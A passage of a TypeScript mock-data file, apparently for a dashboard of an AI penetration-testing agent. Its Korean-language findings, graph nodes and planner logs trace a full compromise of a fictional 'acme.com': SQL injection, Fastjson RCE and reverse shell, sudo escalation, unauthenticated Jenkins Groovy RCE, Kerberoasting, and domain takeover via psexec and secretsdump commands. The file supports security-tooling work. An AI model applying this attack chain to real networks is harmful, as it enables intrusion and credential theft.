|
||
"GET /script 로 로그인 없이 Groovy 를 실행: 'whoami'.execute().text → SYSTEM; 자격 증명 저장소에서 도메인 계정 acme\\svc_deploy 를 추출했습니다.",
|
||
intent_id: "i11",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-25T21:50:00Z"),
|
||
},
|
||
{
|
||
id: "f-16",
|
||
assets: [assetRef(21)],
|
||
vulnclass: "Kerberoasting",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "도메인 서비스 계정 svc_sql 이 Kerberoast 대상이며 비밀번호가 약함",
|
||
evidence:
|
||
"GetUserSPNs 로 svc_sql 의 TGS 를 요청하고, hashcat -m 13100 으로 Sql@2020 을 오프라인 크랙했습니다. 이 계정은 SQL 관리 그룹에 속합니다.",
|
||
intent_id: "i12",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
},
|
||
{
|
||
id: "f-17",
|
||
assets: [assetRef(20)],
|
||
vulnclass: "Domain Compromise",
|
||
name: "내부망 도메인 컨트롤러 DC01 완전 장악(Domain Admin)",
|
||
severity: "critical",
|
||
status: "confirmed",
|
||
report:
|
||
"## 취약점 개요\n\n외부망 Fastjson RCE 로 DMZ 에 발판을 마련한 뒤, sudo 권한 상승·이중 NIC 관통·Jenkins 미인증 RCE 로 도메인 계정 `svc_deploy` 를 획득했습니다. 이 계정은 **Domain Admins** 에 속해, 최종적으로 도메인 컨트롤러 **DC01** 을 완전히 장악했습니다.\n\n## 영향\n\n- 도메인 관리자 권한을 얻어 전체 도메인의 호스트와 계정을 통제할 수 있음\n- `secretsdump` 로 전체 도메인의 NTLM 해시(`krbtgt` 포함)를 추출해, 골든 티켓을 만들어 장기간 잠복할 수 있음\n- 내부 목표 달성\n\n## 재현 절차\n\n1. `svc_deploy` 로 로그인해 해시를 추출합니다:\n\n```\npsexec.py acme/svc_deploy@10.10.10.10\nsecretsdump.py acme/svc_deploy@10.10.10.10\n```\n\n2. DC01 의 SYSTEM 권한을 얻어 도메인 내 전체 해시를 추출합니다\n\n## 조치 권고\n\n- 서비스 계정 권한을 축소하고 Domain Admins 에서 제외하며, 계층형 관리(tiering)를 적용합니다\n- `krbtgt` 를 연속 두 번 재설정하고, 서비스 계정을 강력한 비밀번호로 교체합니다\n- DMZ→내부망 경계 격리와 앞서 설명한 RCE/권한 상승 체인을 수정합니다\n",
|
||
summary: "도메인 컨트롤러 DC01 장악(Domain Admin): 내부 목표 달성",
|
||
evidence:
|
||
"svc_deploy 가 Domain Admins 에 속해, psexec.py 로 DC01 에 로그인해 SYSTEM 을 얻고, secretsdump 로 전체 도메인의 NTLM 해시(krbtgt 포함)를 추출해 목표 장악을 완료했습니다.",
|
||
intent_id: "i13",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-26T00:20:00Z"),
|
||
},
|
||
];
|
||
|
||
// ── Exploration graph (active task) ──────────────────────────────────────────
|
||
// 现行模型:根是 fact/state=origin(渲染为「起点」);payload 为 JSON 字符串,
|
||
// goal 取 text、其余取 summary。结构:根→目标(spawns)→意图(spawns)→事实/漏洞(yields),
|
||
// 漏洞→目标(proves),提示→意图(derived_from)。
|
||
const P = (o: Record<string, string>) => JSON.stringify(o);
|
||
|
||
export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
|
||
nodes: [
|
||
{
|
||
id: "root",
|
||
type: "fact",
|
||
payload: P({ summary: "루트: acme.com 외부망→내부망 심층 침투" }),
|
||
priority: 0,
|
||
state: "origin",
|
||
origin: "system",
|
||
ts: T("2026-07-24T09:12:00Z"),
|
||
},
|
||
|
||
// ── 目标(由 goals agent 拆解,随发现逐步加码到内网靶标)──
|
||
{
|
||
id: "g1",
|
||
type: "goal",
|
||
payload: P({ text: "acme.com 관리자 백오피스 권한 획득" }),
|
||
priority: 9,
|
||
state: "met",
|
||
origin: "goals",
|
||
ts: T("2026-07-24T09:13:00Z"),
|
||
},
|
||
{
|
||
id: "g2",
|
||
type: "goal",
|
||
payload: P({ text: "사용자 민감 데이터 열람" }),
|
||
priority: 8,
|
||
state: "open",
|
||
origin: "goals",
|
||
ts: T("2026-07-24T09:13:00Z"),
|
||
},
|
||
{
|
||
id: "g3",
|
||
type: "goal",
|
||
payload: P({ text: "외부망에서 DMZ 돌파, 내부망 거점 확보" }),
|
||
priority: 9,
|
||
state: "met",
|
||
origin: "goals",
|
||
ts: T("2026-07-25T14:10:00Z"),
|
||
},
|
||
{
|
||
id: "g4",
|
||
type: "goal",
|
||
payload: P({ text: "내부망 횡적 이동, 내부 표적 도메인 컨트롤러 DC01 장악" }),
|
||
priority: 10,
|
||
state: "met",
|
||
origin: "goals",
|
||
ts: T("2026-07-25T20:00:00Z"),
|
||
},
|
||
|
||
// ── 第 1 层 · 外网侦察 / 外部漏洞 ──
|
||
{
|
||
id: "i1",
|
||
type: "intent",
|
||
payload: P({ summary: "acme.com 서브도메인 열거와 포트 스캔" }),
|
||
priority: 6,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-24T09:20:00Z"),
|
||
},
|
||
{
|
||
id: "i2",
|
||
type: "intent",
|
||
payload: P({ summary: "admin 백오피스 기본 비밀번호 / 취약한 비밀번호 테스트" }),
|
||
priority: 9,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T03:30:00Z"),
|
||
},
|
||
{
|
||
id: "i3",
|
||
type: "intent",
|
||
payload: P({ summary: "백오피스 기능과 사용자 데이터 엔드포인트 열거" }),
|
||
priority: 8,
|
||
state: "running",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T03:55:00Z"),
|
||
},
|
||
{
|
||
id: "i4",
|
||
type: "intent",
|
||
payload: P({ summary: "www.acme.com/search 페이지 SQL 인젝션 탐지" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T22:00:00Z"),
|
||
},
|
||
{
|
||
id: "i5",
|
||
type: "intent",
|
||
payload: P({ summary: "api.acme.com 주문 엔드포인트 권한 우회(IDOR) 테스트" }),
|
||
priority: 8,
|
||
state: "running",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T02:30:00Z"),
|
||
},
|
||
{
|
||
id: "ig",
|
||
type: "intent",
|
||
payload: P({ summary: "www.acme.com .git 소스 코드 유출과 하드코딩 자격 증명 추출" }),
|
||
priority: 7,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T20:20:00Z"),
|
||
},
|
||
|
||
// ── 第 2 层 · 突破 DMZ 建立立足点 ──
|
||
{
|
||
id: "i6",
|
||
type: "intent",
|
||
payload: P({ summary: "shop.acme.com 컴포넌트 지문 식별과 CVE 연관" }),
|
||
priority: 7,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T14:20:00Z"),
|
||
},
|
||
{
|
||
id: "i7",
|
||
type: "intent",
|
||
payload: P({ summary: "shop 역직렬화 RCE 유발, 리버스 셸 획득" }),
|
||
priority: 9,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T15:10:00Z"),
|
||
},
|
||
{
|
||
id: "i8",
|
||
type: "intent",
|
||
payload: P({ summary: "DMZ 거점 로컬 정보 수집과 root 권한 상승" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T16:00:00Z"),
|
||
},
|
||
|
||
// ── 第 3 层 · 内网横向纵深(多层测试)──
|
||
{
|
||
id: "i9",
|
||
type: "intent",
|
||
payload: P({ summary: "거점을 pivot 삼아 내부망 호스트 발견" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
},
|
||
{
|
||
id: "i10",
|
||
type: "intent",
|
||
payload: P({ summary: "내부망 자격 증명 재사용과 패스워드 스프레이" }),
|
||
priority: 8,
|
||
state: "running",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T03:40:00Z"),
|
||
},
|
||
{
|
||
id: "i11",
|
||
type: "intent",
|
||
payload: P({ summary: "내부 Jenkins 미인증 Groovy 스크립트 실행(RCE)" }),
|
||
priority: 9,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T21:30:00Z"),
|
||
},
|
||
{
|
||
id: "i12",
|
||
type: "intent",
|
||
payload: P({ summary: "도메인 서비스 계정 대상 Kerberoasting 후 오프라인 크래킹" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T22:40:00Z"),
|
||
},
|
||
{
|
||
id: "i13",
|
||
type: "intent",
|
||
payload: P({ summary: "도메인 관리자 자격 증명으로 로그인해 도메인 컨트롤러 DC01 장악" }),
|
||
priority: 10,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T23:50:00Z"),
|
||
},
|
||
|
||
// ── 事实 ──
|
||
{
|
||
id: "fa1",
|
||
type: "fact",
|
||
payload: P({ summary: "서브도메인 admin.acme.com 발견(Element-UI 백오피스)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#1",
|
||
ts: T("2026-07-24T09:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa2",
|
||
type: "fact",
|
||
payload: P({ summary: "search 페이지 q 파라미터가 오류 기반 인젝션 지점(MSSQL)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#4",
|
||
ts: T("2026-07-25T22:05:00Z"),
|
||
},
|
||
{
|
||
id: "faGit",
|
||
type: "fact",
|
||
payload: P({ summary: ".git 다운로드 가능, git-dumper 로 백엔드 소스 코드 복원" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "workG",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
},
|
||
{
|
||
id: "faCreds",
|
||
type: "fact",
|
||
payload: P({ summary: "소스 코드 config.php 에 하드코딩된 DB 비밀번호 sa / Acme@2021(내부망 공용으로 추정)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "workG",
|
||
ts: T("2026-07-25T20:35:00Z"),
|
||
},
|
||
{
|
||
id: "fa3",
|
||
type: "fact",
|
||
payload: P({ summary: "shop 지문이 Fastjson 1.2.24 에 적중(알려진 역직렬화 RCE 존재)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#6",
|
||
ts: T("2026-07-25T14:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa4",
|
||
type: "fact",
|
||
payload: P({ summary: "리버스 셸 성공: www-data@dmz-web01(10.0.20.15), DMZ 세그먼트에 위치" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#7",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa5",
|
||
type: "fact",
|
||
payload: P({ summary: "sudo -l: (ALL) NOPASSWD: /usr/bin/python3 → root 권한 상승 가능" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#8",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
},
|
||
{
|
||
id: "fa6",
|
||
type: "fact",
|
||
payload: P({ summary: "거점의 두 번째 NIC 가 내부망 10.10.10.0/24 에 직결(DMZ 경계를 넘음)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#9",
|
||
ts: T("2026-07-25T20:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa7",
|
||
type: "fact",
|
||
payload: P({
|
||
summary: "내부망 생존: 10.10.10.10 DC01(도메인 컨트롤러) / 10.10.10.5 FS01(SMB) / 10.10.10.20 JENKINS",
|
||
}),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#9",
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: "fa8",
|
||
type: "fact",
|
||
payload: P({ summary: "JENKINS 콘솔 /script 미인증, Groovy 직접 실행 가능" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#11",
|
||
ts: T("2026-07-25T21:45:00Z"),
|
||
},
|
||
{
|
||
id: "fa9",
|
||
type: "fact",
|
||
payload: P({ summary: "Jenkins 자격 증명 저장소에서 도메인 계정 acme\\svc_deploy 평문 비밀번호 덤프" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#11",
|
||
ts: T("2026-07-25T22:10:00Z"),
|
||
},
|
||
{
|
||
id: "fa10",
|
||
type: "fact",
|
||
payload: P({ summary: "svc_sql 의 TGS 를 Kerberoast, hashcat 으로 비밀번호 Sql@2020 크랙" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#12",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
},
|
||
|
||
// ── 漏洞 ──
|
||
{
|
||
id: "fi1",
|
||
type: "finding",
|
||
payload: P({ summary: "백오피스 기본 비밀번호 admin/admin123" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#2",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
},
|
||
{
|
||
id: "fi2",
|
||
type: "finding",
|
||
payload: P({ summary: "SQL 인젝션(search q)으로 acme_prod DB 열람 가능" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#4",
|
||
ts: T("2026-07-26T01:20:00Z"),
|
||
},
|
||
{
|
||
id: "fi3",
|
||
type: "finding",
|
||
payload: P({ summary: "IDOR: /v1/orders?id= 로 타인 주문 권한 우회 조회" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#5",
|
||
ts: T("2026-07-26T02:44:00Z"),
|
||
},
|
||
{
|
||
id: "fiSrc",
|
||
type: "finding",
|
||
payload: P({ summary: "소스 코드 유출 + 하드코딩 데이터베이스 자격 증명(sa/Acme@2021)" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "workG",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
},
|
||
{
|
||
id: "fiRce",
|
||
type: "finding",
|
||
payload: P({ summary: "shop Fastjson 역직렬화 RCE 로 서버 명령 실행 획득" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#7",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: "fiPriv",
|
||
type: "finding",
|
||
payload: P({ summary: "DMZ 거점 로컬 권한 상승 root(sudo NOPASSWD 오설정)" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#8",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
},
|
||
{
|
||
id: "fiJenkins",
|
||
type: "finding",
|
||
payload: P({ summary: "내부 Jenkins 미인증 Groovy → 서버 RCE" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#11",
|
||
ts: T("2026-07-25T21:50:00Z"),
|
||
},
|
||
{
|
||
id: "fiKerb",
|
||
type: "finding",
|
||
payload: P({ summary: "Kerberoasting 으로 도메인 서비스 계정 svc_sql 비밀번호 크랙" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#12",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
},
|
||
{
|
||
id: "fiDC",
|
||
type: "finding",
|
||
payload: P({ summary: "도메인 컨트롤러 DC01 장악(Domain Admin): 내부 목표 달성" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#13",
|
||
ts: T("2026-07-26T00:20:00Z"),
|
||
},
|
||
|
||
// ── 提示(主 agent 注入)──
|
||
{
|
||
id: "h1",
|
||
type: "hint",
|
||
payload: P({ summary: "백오피스가 Element-UI 라 기본 비밀번호 목록을 우선 실행" }),
|
||
priority: 5,
|
||
state: "consumed",
|
||
origin: "mainagent",
|
||
ts: T("2026-07-26T03:20:00Z"),
|
||
},
|
||
{
|
||
id: "h2",
|
||
type: "hint",
|
||
payload: P({ summary: "내부망은 Jenkins 를 우선 공략: 미인증 /script 로 Groovy RCE 직행" }),
|
||
priority: 6,
|
||
state: "consumed",
|
||
origin: "mainagent",
|
||
ts: T("2026-07-25T21:20:00Z"),
|
||
},
|
||
{
|
||
id: "h3",
|
||
type: "hint",
|
||
payload: P({ summary: "소스 코드의 그 DB 비밀번호를 내부망에 스프레이, 공용일 가능성 높음" }),
|
||
priority: 6,
|
||
state: "consumed",
|
||
origin: "mainagent",
|
||
ts: T("2026-07-25T23:10:00Z"),
|
||
},
|
||
],
|
||
edges: [
|
||
// 根 → 目标
|
||
{ src: "root", dst: "g1", rel: "spawns" },
|
||
{ src: "root", dst: "g2", rel: "spawns" },
|
||
{ src: "root", dst: "g3", rel: "spawns" },
|
||
{ src: "root", dst: "g4", rel: "spawns" },
|
||
// 目标 → 意图
|
||
{ src: "g1", dst: "i1", rel: "spawns" },
|
||
{ src: "g1", dst: "i2", rel: "spawns" },
|
||
{ src: "g1", dst: "i3", rel: "spawns" },
|
||
{ src: "g2", dst: "i4", rel: "spawns" },
|
||
{ src: "g2", dst: "i5", rel: "spawns" },
|
||
{ src: "g2", dst: "ig", rel: "spawns" },
|
||
{ src: "g3", dst: "i6", rel: "spawns" },
|
||
{ src: "g3", dst: "i7", rel: "spawns" },
|
||
{ src: "g3", dst: "i8", rel: "spawns" },
|
||
{ src: "g4", dst: "i9", rel: "spawns" },
|
||
{ src: "g4", dst: "i10", rel: "spawns" },
|
||
{ src: "g4", dst: "i11", rel: "spawns" },
|
||
{ src: "g4", dst: "i12", rel: "spawns" },
|
||
{ src: "g4", dst: "i13", rel: "spawns" },
|
||
// 意图 → 事实 / 漏洞(产出)
|
||
{ src: "i1", dst: "fa1", rel: "yields" },
|
||
{ src: "i4", dst: "fa2", rel: "yields" },
|
||
{ src: "i2", dst: "fi1", rel: "yields" },
|
||
{ src: "i4", dst: "fi2", rel: "yields" },
|
||
{ src: "i5", dst: "fi3", rel: "yields" },
|
||
{ src: "ig", dst: "faGit", rel: "yields" },
|
||
{ src: "ig", dst: "faCreds", rel: "yields" },
|
||
{ src: "ig", dst: "fiSrc", rel: "yields" },
|
||
{ src: "i6", dst: "fa3", rel: "yields" },
|
||
{ src: "i7", dst: "fa4", rel: "yields" },
|
||
{ src: "i7", dst: "fiRce", rel: "yields" },
|
||
{ src: "i8", dst: "fa5", rel: "yields" },
|
||
{ src: "i8", dst: "fiPriv", rel: "yields" },
|
||
{ src: "i9", dst: "fa6", rel: "yields" },
|
||
{ src: "i9", dst: "fa7", rel: "yields" },
|
||
{ src: "i11", dst: "fa8", rel: "yields" },
|
||
{ src: "i11", dst: "fa9", rel: "yields" },
|
||
{ src: "i11", dst: "fiJenkins", rel: "yields" },
|
||
{ src: "i12", dst: "fa10", rel: "yields" },
|
||
{ src: "i12", dst: "fiKerb", rel: "yields" },
|
||
{ src: "i13", dst: "fiDC", rel: "yields" },
|
||
// 事实 → 新意图(事实驱动的多层递进)
|
||
{ src: "fa3", dst: "i7", rel: "derived_from" },
|
||
{ src: "fa4", dst: "i8", rel: "derived_from" },
|
||
{ src: "fa4", dst: "i9", rel: "derived_from" },
|
||
{ src: "faCreds", dst: "i10", rel: "derived_from" },
|
||
{ src: "fa7", dst: "i11", rel: "derived_from" },
|
||
{ src: "fa7", dst: "i12", rel: "derived_from" },
|
||
{ src: "fa9", dst: "i13", rel: "derived_from" },
|
||
{ src: "fa10", dst: "i13", rel: "derived_from" },
|
||
// 提示 → 意图
|
||
{ src: "h1", dst: "i2", rel: "derived_from" },
|
||
{ src: "h2", dst: "i11", rel: "derived_from" },
|
||
{ src: "h3", dst: "i10", rel: "derived_from" },
|
||
// 漏洞 → 证明目标达成
|
||
{ src: "fi1", dst: "g1", rel: "proves" },
|
||
{ src: "fiRce", dst: "g3", rel: "proves" },
|
||
{ src: "fiDC", dst: "g4", rel: "proves" },
|
||
],
|
||
};
|
||
|
||
export const intents: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent");
|
||
export const frontier: TaskNode[] = explorationGraph.nodes.filter(
|
||
(n) => n.type === "intent" && (n.state === "open" || n.state === "running"),
|
||
);
|
||
|
||
// ── Activity(执行过程)─────────────────────────────────────────────────────
|
||
// 会话由 sessions-tab 从「意图」派生(session.id = intent.id),transcript = 匹配
|
||
// intent_id 的活动流。planner=worker "planner"、主 agent=worker "mainagent"。
|
||
// 每个 worker 会话含完整工具执行链(tool_use → tool_result → …→ result)。
|
||
export const activity: Activity[] = [
|
||
// planner —— 每轮完整决策链:读态势 → 拉 worker 产出对照 → 判目标 → add_intent 派方向
|
||
// ── 第 0 轮 · 目标拆解与首批意图(2026-07-24 09:12)──
|
||
{ seq: 1000, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "라운드 0 · 목표 분해" },
|
||
{
|
||
seq: 1001,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:12:25Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"graph_overview: goals 는 목표층에서 이미 분해되어 있다. g1「acme.com 백오피스 관리 권한 획득」, g2「사용자 민감 데이터 열람」이며 둘 다 open 이고, facts=0, recent_facts 는 비어 있다(그래프가 거의 백지라 아직 어떤 worker 산출물도 없다). 범위 내 자산은 루트 도메인 acme.com 과 C 클래스 대역 하나뿐이다. 공격면 초기 판단은 www / admin / api / shop / vpn 다섯 개 입구다. 그래프에 fact 가 없으니 나는 【아주 가벼운 읽기 전용 탐지】만으로 초기 의도를 구체화할 수 있을 뿐, plan 단계에서 실제 작업을 수행하지는 않는다.",
|
||
},
|
||
{
|
||
seq: 1002,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:12:40Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "p0-probe",
|
||
summary: "curl -sI https://acme.com; curl -sI https://admin.acme.com",
|
||
detail:
|
||
"초기 상황이 거의 백지라, 읽기 전용 탐지를 3회 이하로 수행해 초기 의도 방향을 보정한다(열거·검증은 하지 않는다. 그건 worker 의 몫이다).",
|
||
},
|
||
{
|
||
seq: 1003,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:12:52Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "p0-probe",
|
||
summary:
|
||
"acme.com → 302 → www; Server: nginx/1.24.0\nadmin.acme.com → 200, X-Powered-By 없음, body 에서 element-ui/vue 특징 탐지",
|
||
detail:
|
||
"admin 은 독립된 백오피스 로그인 페이지다. 다섯 입구가 유효함을 확인했고, 초기 의도 설명을 정밀하게 작성할 수 있다.",
|
||
},
|
||
{
|
||
seq: 1004,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:13:00Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p0-ai",
|
||
summary: "add_intent × 4 (첫 탐색 방향 묶음을 일괄 파견)",
|
||
detail:
|
||
"intents=[\n { summary: 'acme.com 전수 서브도메인 열거 + 활성 호스트 포트/서비스 식별로 공격면 파악', asset_ids: [acme.com], priority: 6 },\n { summary: 'admin.acme.com 백오피스 기본 비밀번호/취약 비밀번호 테스트(Element-UI 로그인, 캡차 없음)', asset_ids: [admin], priority: 9 },\n { summary: 'www.acme.com/search q 파라미터 SQL 인젝션 탐지', asset_ids: [www], priority: 8 },\n { summary: 'api.acme.com 주문 엔드포인트 권한 우회(IDOR) 테스트', asset_ids: [api], priority: 8 },\n]\nparent_ids 는 모두 비어 있다(최상위 신규 방향이라 origin fact 에 fallback 으로 연결).",
|
||
},
|
||
{
|
||
seq: 1005,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:13:02Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p0-ai",
|
||
summary: "4 intents created → ids=[i1, i2, i4, i5], frontier 에 연결됨",
|
||
detail:
|
||
"경로의 다양성을 의도적으로 유지한다. i1 정찰 + i2(g1 인증 경로) + i4/i5(g2 데이터 경로)로 독립된 두 공격 기법을 병행하며, 성급하게 수렴하지 않는다.",
|
||
},
|
||
{
|
||
seq: 1006,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:13:05Z"),
|
||
kind: "text",
|
||
summary:
|
||
"이번 라운드에서 첫 의도 4건을 파생했다. i1 자산 정찰, i2 백오피스 비밀번호, i4 인젝션, i5 API 권한 우회이며, g1 은 i2 로 g2 는 i4/i5 로 가면서 두 목표 모두 독립된 입구를 두고 진행 중이다. worker 가 사실을 산출하면 그 계통에 따라 증원한다.",
|
||
},
|
||
|
||
// ── 第 1 轮 · 攻击面加码(2026-07-25 14:12)──
|
||
{ seq: 1100, worker: "planner", ts: T("2026-07-25T14:12:00Z"), kind: "round", summary: "라운드 1 · 공격면 증원" },
|
||
{
|
||
seq: 1101,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:15Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"recent_facts 대조: workG 가 faGit「.git 다운로드 가능, git-dumper 로 백엔드 소스 코드 복원」과 faCreds「config.php 에 sa/Acme@2021 하드코딩(내부망 공용으로 추정)」을 회신했고, work#6 지문 식별이 fa3「shop 에서 Fastjson 1.2.24 탐지(알려진 역직렬화 RCE 존재)」을 회신했다. 【재료가 되는 새 기법】 두 가지다. ① 하드코딩된 DB 비밀번호가 내부망 전반에서 재사용될 수 있다. ② Fastjson 에는 성숙한 RCE 수법이 있다. 이는 기존 인증/인젝션 경로와 【본질적으로 다른】 입구를 연다. shop 에서 바로 RCE 로 DMZ 를 돌파하는 길이다. 먼저 faGit 상세를 가져와 산출물을 확인한다.",
|
||
},
|
||
{
|
||
seq: 1102,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:28Z"),
|
||
kind: "tool_use",
|
||
tool: "node_detail",
|
||
tool_use_id: "p1-nd",
|
||
summary: "node_detail(faGit): workG 의 소스 코드 복원 산출물 대조",
|
||
detail: "add_intent 전에 worker 가 실제로 무엇을 복원했는지 먼저 확인해, 지문만으로 방향을 넘겨짚는 일을 피한다.",
|
||
},
|
||
{
|
||
seq: 1103,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:35Z"),
|
||
kind: "tool_result",
|
||
tool: "node_detail",
|
||
tool_use_id: "p1-nd",
|
||
summary:
|
||
"faGit 증거: git-dumper 로 config.php / db.php / order_api.php 복원. config.php 내 $db=['host'=>'10.10.10.5','user'=>'sa','pass'=>'Acme@2021']",
|
||
detail:
|
||
"하드코딩 값이 내부망 10.10.10.5(FS01)을 가리켜 faCreds 의「내부망 공용」추정을 뒷받침한다. RCE 가 안착한 뒤 이 비밀번호 묶음은 재사용할 가치가 있다.",
|
||
},
|
||
{
|
||
seq: 1104,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:50Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p1-ai",
|
||
summary: "add_intent × 2 (Fastjson 돌파 체인, 직렬 단계로 나눠 실행 가능한 첫 단계부터 파견)",
|
||
detail:
|
||
"intents=[\n { summary: 'shop.acme.com 컴포넌트 지문 심층 분석 + Fastjson 1.2.24 CVE 정밀 연관(gadget 체인 확인)', asset_ids: [shop], parent_ids: [fa3], priority: 7 },\n { summary: 'Fastjson 역직렬화 payload 를 구성해 shop RCE 를 유발하고 리버스 셸 획득', asset_ids: [shop], parent_ids: [fa3], priority: 9 },\n]\n주: 강한 의존성을 가진 직렬 체인이라 TodoWrite 에 『지문→RCE→거점 권한 상승』 세 단계를 기록했고, 이번 라운드에는 앞 두 단계만 파견한다(권한 상승은 shell 산출물에 의존하므로 다음 라운드에 파견).",
|
||
},
|
||
{
|
||
seq: 1105,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:52Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p1-ai",
|
||
summary: "2 intents created → ids=[i6, i7], fa3 를 통해 계통에 연결됨",
|
||
},
|
||
{
|
||
seq: 1106,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:13:00Z"),
|
||
kind: "text",
|
||
summary:
|
||
"상황 격상: 소스 코드 + 하드코딩된 내부망 비밀번호 + Fastjson RCE 가 완전히 새로운 돌파 경로를 구성한다. 목표층에 g3「외부망에서 DMZ 를 돌파해 내부망 거점 확보」를 등록 요청했고, i6(지문/CVE 연관)·i7(RCE 유발)을 파견했다. DMZ 권한 상승 단계는 shell 에 의존하므로 할 일에 기록하고 다음 라운드에 파견한다.",
|
||
},
|
||
|
||
// ── 第 2 轮 · 立足点已建,转内网(2026-07-25 20:25)──
|
||
{
|
||
seq: 1200,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:00Z"),
|
||
kind: "round",
|
||
summary: "라운드 2 · 거점 확보 완료, 내부망으로 전환",
|
||
},
|
||
{
|
||
seq: 1201,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:18Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"계통 대조: i7 가 fa4「리버스 셸 www-data@dmz-web01(10.0.20.15), DMZ 세그먼트에 위치」를 회신했고, 권한 상승 체인은 fa5「sudo -l 에서 NOPASSWD python3 탐지 → root 권한 상승 가능」, fa6「거점의 두 번째 NIC 가 내부망 10.10.10.0/24 에 직접 연결」을 회신했다. g3 의 인수 조건(DMZ 돌파 + 거점 확보)은 fa4+fa6 으로 이미 직접 충족됐다. 먼저 fa6 의 내부망 도달성을 확인한 뒤 prove_goal 한다.",
|
||
},
|
||
{
|
||
seq: 1202,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:30Z"),
|
||
kind: "tool_use",
|
||
tool: "node_detail",
|
||
tool_use_id: "p2-nd",
|
||
summary: "node_detail(fa6): 이중 NIC 와 내부망 도달 확인",
|
||
},
|
||
{
|
||
seq: 1203,
|
||
worker: "planner",
|
||
